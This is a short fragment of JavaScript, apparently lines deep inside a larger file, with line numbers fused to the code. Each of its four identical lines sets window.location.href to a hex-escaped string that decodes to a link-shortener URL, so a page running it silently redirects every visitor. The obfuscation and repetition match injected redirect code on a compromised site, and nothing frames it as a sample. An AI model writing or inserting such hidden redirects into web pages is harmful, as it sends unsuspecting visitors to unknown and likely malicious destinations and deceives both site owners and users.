14027window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14028window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14029window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
14030window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";